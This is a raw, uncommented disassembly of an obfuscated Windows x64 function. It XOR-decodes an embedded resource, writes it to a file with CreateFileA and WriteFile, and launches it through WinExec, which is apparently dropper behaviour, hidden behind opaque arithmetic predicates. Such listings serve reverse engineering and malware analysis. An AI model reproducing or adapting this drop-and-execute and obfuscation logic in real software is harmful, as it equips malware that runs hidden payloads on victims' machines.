mov ecx, 0xffffffff
mov r8d, 0x75853a
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
mov r14, qword [rbp + 0x2a0]
xor esi, r14d
or esi, r13d
mov ebx, r13d
mov qword [rbp + 0x1c8], r13
or ebx, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xa8385d
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, r13d
sub rsp, 0x20
mov ecx, 2
mov edx, 0x63
call fcn.140006b10
add rsp, 0x20
imul eax, edi
sub eax, r14d
mov edi, r13d
xor edi, r14d
mov r13, r14
sub edi, esi
sub edi, ebx
xor edi, eax
sub rsp, 0x20
movabs rcx, 0x3a75f264bb0603fa
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov r14, rax
xor r14, rdi
xor r14, r15
or r14, r13
mov rax, qword [rbp + 0x260]
mov rcx, qword [rbp + 0x270]
cmp rcx, qword [rax]
mov eax, 0
cmovae rcx, rax
mov r15, rcx
sub rsp, 0x20
mov ecx, 0xfd
mov rdx, r12
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r12
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0xcd09
mov rdx, r12
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, edi
sub rsp, 0x20
mov ecx, 0xdb
mov edx, 0x25
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0x1c8]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xec
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xda59
mov r9d, 0xd9
mov rdx, r12
mov r8, r12
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor r13d, r13d
cmp esi, eax
sete r13b
mov rax, qword [rbp + 0x280]
mov rcx, qword [rbp + 0x250]
mov rdi, r15
movzx r15d, byte [rcx + r15]
movzx ecx, byte [rax + r14]
xor cl, r15b
mov byte [rax + r14], cl
neg r13d
mov esi, r13d
sub esi, dword [rbp + 0x2c8]
mov ecx, dword [rbp + 0x290]
mov eax, ecx
xor eax, r13d
sub esi, eax
and r13d, ecx
sub rsp, 0x20
mov ecx, 1
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl r13d, cl
xor r13d, esi
sub rsp, 0x20
movabs rcx, 0x52e49e33440e678a
mov rdx, r12
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r12
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x9b
mov r8, r12
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r12
mov r8, r12
call fcn.140006b10
mov ecx, 2
mov edx, 0x4e
call fcn.140006b10
movabs rcx, 0xad1b61ccbbf19877
mov rdx, r12
mov r8, r12
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
mov rdx, r12
mov r8, r12
call fcn.140006b10
add rsp, 0x20
add rax, rdi
mov qword [rbp + 0x2c8], rax
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r12
mov r8, r12
mov r9, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, r15d
mov r14, qword [rbp + 0x288]
or esi, r14d
mov edi, r14d
or edi, r15d
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, edi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0x54
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x55
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, r14d
sub rsp, 0x20
mov ecx, 2
mov edx, 0x59
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
sub eax, r15d
xor r14d, r15d
sub r14d, esi
sub r14d, edi
xor r14d, eax
sub rsp, 0x20
mov edx, 0xdb
movabs rcx, 0x654e34a3c204d85a
mov r8, r12
call fcn.140006b10
add rsp, 0x20
mov r15, rax
add r15, r14
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
mov r14, qword [rbp + 0x2a8]
xor esi, r14d
or esi, r13d
mov ebx, r13d
or ebx, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x16
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xd1b6b0
mov r8d, 0x21
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, r13d
sub rsp, 0x20
mov ecx, 2
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
imul eax, edi
sub eax, r14d
xor r13d, r14d
sub r13d, esi
sub r13d, ebx
xor r13d, eax
sub rsp, 0x20
movabs rcx, 0x9ab1cb5c3dfb27a8
mov rdx, r12
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor rsi, r13
mov rdi, qword [rbp + 0x238]
add rsi, r15
add rsi, qword [rbp + 0x2a0]
sub rsp, 0x20
mov ecx, 1
mov r8d, 0xe6
mov rdx, r12
call fcn.140006b10
movabs rcx, 0x95a471486b7d8ae
mov rdx, r12
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r12
mov r8, r12
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x65
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xde
mov r8, r12
call fcn.140006b10
mov ecx, 2
mov r8d, 0xef
mov rdx, r12
mov r9, r12
call fcn.140006b10
mov r8d, 0x62
movabs rcx, 0xf6a5b8eb79482754
mov rdx, r12
call fcn.140006b10
xor ecx, ecx
mov rdx, r12
mov r8, r12
call fcn.140006b10
mov ecx, 2
mov edx, 0x92
mov r9d, 0xbb
mov r8, r12
call fcn.140006b10
add rsp, 0x20
add rax, r12
mov rcx, qword [rbp + 0x228]
cmp rax, qword [rcx]
mov rcx, qword [rbp + 0x2c8]
mov qword [rbp + 0x208], rcx
mov qword [rbp + 0x210], rsi
mov qword [rbp + 0x218], rax
mov qword [rdi], rcx
mov qword [rbp + 0x220], rsi
jne 0x14000f6e0
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov qword [rbp + 0x1c0], rax
mov rax, qword [rdi]
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x230]
mov rsi, qword [rax]
mov rdx, qword [rbp + 0x248]
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
mov rdx, qword [rbp + 0x248]
sub rsp, 0x20
xor ecx, ecx
mov r8, rdx
call fcn.140006b10
add rsp, 0x20
mov rcx, qword [rbp + 0x268]
mov ecx, dword [rcx]
mov rdx, qword [rbp + 0x280]
mov r14, qword [rbp + 0x1d0]
mov dword [r14], ecx
mov qword [rbp + 0x258], rdx
cmp rsi, rax
je 0x1400100c1
mov rax, qword [rbp + 0x260]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1f8]
cmp rax, rdx
jae 0x14001006d
mov rsi, qword [rbp + 0x1f8]
jmp 0x14001006f
xor esi, esi
mov rdi, qword [rbp + 0x268]
mov rax, qword [rbp + 0x248]
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x280]
mov rcx, qword [rbp + 0x1c0]
movzx edx, byte [rax + rcx]
mov rbx, qword [rbp + 0x250]
xor dl, byte [rbx + rsi]
mov byte [rax + rcx], dl
mov eax, dword [rdi]
mov rcx, qword [rbp + 0x280]
mov dword [r14], eax
mov qword [rbp + 0x258], rcx
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x1f0], rax
mov eax, dword [r14]
mov dword [rbp + 0x2f0], eax
mov eax, dword [rbp + 0x2f0]
mov dword [rbp + 0x27c], eax
cmp qword [rbp + 0x1f0], 0
setne byte [rbp + 0x2fe]
mov r14d, dword [rbp + 0x27c]
movzx ebx, byte [rbp + 0x2fe]
mov r8d, dword [rbp + 0x2f0]
sub rsp, 0x20
mov ecx, 0x13
mov edx, 0xd9
mov r9d, 0xda
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r14d
mov edx, dword [rbp + 0x2f0]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, edx
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x2c17
mov edx, 7
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, edi
mov edx, dword [rbp + 0x2f0]
sub rsp, 0x20
mov ecx, 0xed
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, ebx
mov edx, dword [rbp + 0x2f0]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, edx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, edi
imul ebx, ebx
mov r8d, dword [rbp + 0x2f0]
sub rsp, 0x20
mov ecx, 0xb9b7
mov edx, 0xa2
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor ecx, ecx
cmp esi, eax
sete cl
neg ecx
cmp r14d, ecx
setg byte [rbp + 0x2f5]
movzx eax, byte [rbp + 0x2fe]
movzx ecx, byte [rbp + 0x2f5]
cmp cl, 1
jne 0x14001075c
test al, 1
je 0x14001075c
movzx esi, byte [rbp + 0x2fe]
sub rsp, 0x20
mov ecx, 0x34
mov edx, 0xeb8a2d
mov r8d, 0x6c
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0x3a6d
mov r8d, 0x1a
mov edx, esi
call fcn.140006b10
mov ecx, 0x98
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f0]
sub rsp, 0x20
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0x4111
mov edx, 0x61
mov r8d, esi
call fcn.140006b10
movabs rcx, 0x7da4f1c1fcb19c30
mov r8d, 0x8b
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0xb9
mov r8d, 0xb4
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add ebx, eax
movzx r15d, byte [rbp + 0x2fe]
movzx eax, byte [rbp + 0x2f5]
lea edi, [r15 + rax]
mov ecx, r15d
xor ecx, eax
sub edi, ecx
and r15d, eax
sub rsp, 0x20
mov ecx, 1
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl r15d, cl
xor r15d, edi
sub rsp, 0x20
movabs rcx, 0x825b0e3ec34e63d0
mov edx, esi
call fcn.140006b10
add rsp, 0x20
add r15d, eax
add r15d, ebx
movzx eax, byte [rbp + 0x2f5]
sub rsp, 0x20
mov ecx, 1
mov edx, 0xa3
mov r8d, 0x74
call fcn.140006b10
movabs rcx, 0x24104e230c817f0b
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add ebx, eax
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xdd
mov r8d, esi
mov r9d, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f0]
mov eax, dword [rbp + 0x2f0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x3b
mov r8d, 0x6b
mov r9d, esi
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, esi
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f0]
sub rsp, 0x20
mov ecx, 2
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x2f0]
sub rsp, 0x20
movabs rcx, 0xacfb4eb276317de9
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add r14d, eax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0x7c
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xa55b
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0x35
mov edx, 0xed
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0xf6
mov edx, esi
call fcn.140006b10
mov ecx, 0xb683
mov r8d, 0xdd
mov edx, esi
call fcn.140006b10
mov ecx, 0x92
mov edx, 0xa7
mov r8d, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xda
mov r8d, 0x5ab1a6
call fcn.140006b10
mov ecx, 0x25e1
mov edx, esi
call fcn.140006b10
mov ecx, 0xe0
mov edx, 1
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x9fc1
mov edx, 0x973169
mov r8d, esi
call fcn.140006b10
movabs rcx, 0xc485191da29438ee
mov edx, 0x8b
mov r8d, esi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 0x34
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0xff
mov r9d, 9
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0xb8eb
call fcn.140006b10
mov ecx, 0xb8
mov edx, 0x21
mov r8d, 0xf
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
mov r8d, esi
call fcn.140006b10
mov ecx, 0x5803
mov edx, esi
mov r8d, esi
call fcn.140006b10
movabs rcx, 0x3f4a5870453ec8f5
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
call fcn.140006b10
add rsp, 0x20
add ebx, eax
sub rsp, 0x20
mov ecx, 0x8c
mov r8d, 0x2c
mov edx, esi
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0x1a
mov edx, esi
mov r9d, esi
call fcn.140006b10
mov ecx, 0x8245
mov edx, esi
call fcn.140006b10
mov ecx, 0xdc
mov r8d, 0x11
mov edx, esi
call fcn.140006b10
mov ecx, 0xff
mov edx, esi
call fcn.140006b10
mov ecx, 0xc575
mov edx, esi
mov r8d, esi
call fcn.140006b10
movabs rcx, 0xc0b5a78fbac1378b
mov edx, 0xbf
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov edx, esi
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
add edi, eax
add edi, ebx
sub rsp, 0x20
mov rcx, r15
call fcn.140006b10
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov edx, 0x25
mov rcx, r14
mov r8d, esi
call fcn.140006b10
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
mov ecx, 2
mov edx, esi
mov r8d, esi
mov r9d, esi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rdi
mov edx, esi
call fcn.140006b10
sub rsp, 0x20
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x30], 0
lea rcx, [rbp - 0x80]
mov edx, r15d
mov r8d, r14d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
add rsp, 0x40
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x240]
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
inc rax
cmp rax, 2
jb 0x14001075c
mov rsi, qword [rbp + 0x1d8]
movzx edi, byte [rbp + 0x2fe]
lea ebx, [rsi + rdi]
mov eax, esi
xor eax, edi
sub ebx, eax
and edi, esi
sub rsp, 0x20
mov ecx, 1
mov r8d, 0x56
mov edx, esi
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl edi, cl
xor edi, ebx
mov dword [rbp + 0x80], edi
mov rdi, qword [rbp + 0x240]
mov rbx, qword [rbp + 0x1f0]
mov ecx, dword [rbp + 0x27c]
sub rsp, 0x20
mov edx, esi
mov r8d, esi
call fcn.140006b10
sub rsp, 0x10
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x80]
mov rcx, rdi
mov rdx, rbx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rsp, 0x30
mov rcx, qword [rbp + 0x240]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x20
mov rcx, qword [rbp + 0x200]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_FreeResource]
add rsp, 0x20
mov esi, eax
sub rsp, 0x20
lea r8, [0x14001514c]
lea rdi, [rbp + 0x80]
lea rdx, [rbp + 0x180]
lea r9, [rbp - 0x80]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfA]
xor ecx, ecx
mov edx, esi
call fcn.140006b10
mov rcx, rdi
mov edx, eax
call qword [sym.imp.KERNEL32.dll_WinExec]
add rsp, 0x20
mov r14, qword [rbp + 0x2b8]
sub rsp, 0x20
movabs rcx, 0xf4495b2d2c236fc5
mov edx, 0x82
mov r8d, 9
mov r9d, 0xfd
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x16
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor rdi, rax
sub rsp, 0x20
movabs rcx, 0xc0e43370370d0000
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0xf4
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
xor ebx, eax
imul ebx, edi
sub rsp, 0x20
mov r8d, 0x1e
xor ecx, ecx
mov rdx, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov rcx, rbx
mov rdx, rdi
call fcn.140006b10
mov rcx, r14
mov rdx, rsi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualFree]
add rsp, 0x20
movzx ebx, byte [rbp + 0x2ef]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x702a6a
mov r8d, ebx
call fcn.140006b10
mov ecx, 0x7afafa69
mov edx, ebx
call fcn.140006b10
mov ecx, 0xa061440
mov edx, ebx
call fcn.140006b10
mov ecx, 0x1050504
mov edx, ebx
call fcn.140006b10
mov ecx, 0x1010104
mov r8d, 0xc85dcf
mov edx, ebx
call fcn.140006b10
mov ecx, 0xb071544
mov edx, 0x13
call fcn.140006b10
add rsp, 0x20
movabs rsi, 0x77fe58f9805b6f8e
lea rcx, [rsi + 1]
sub rsp, 0x20
mov edx, ebx
call fcn.140006b10
mov ecx, 1
mov r8d, 0x75
mov edx, ebx
call fcn.140006b10
mov rcx, rsi
mov edx, ebx
mov r8d, ebx
call fcn.140006b10
mov edx, 0xb3
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
mov r8d, 0x7a
mov edx, ebx
call fcn.140006b10
add rsp, 0x20
xor al, bl
movzx eax, al
and eax, 1
lea rsp, [rbp + 0x308]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret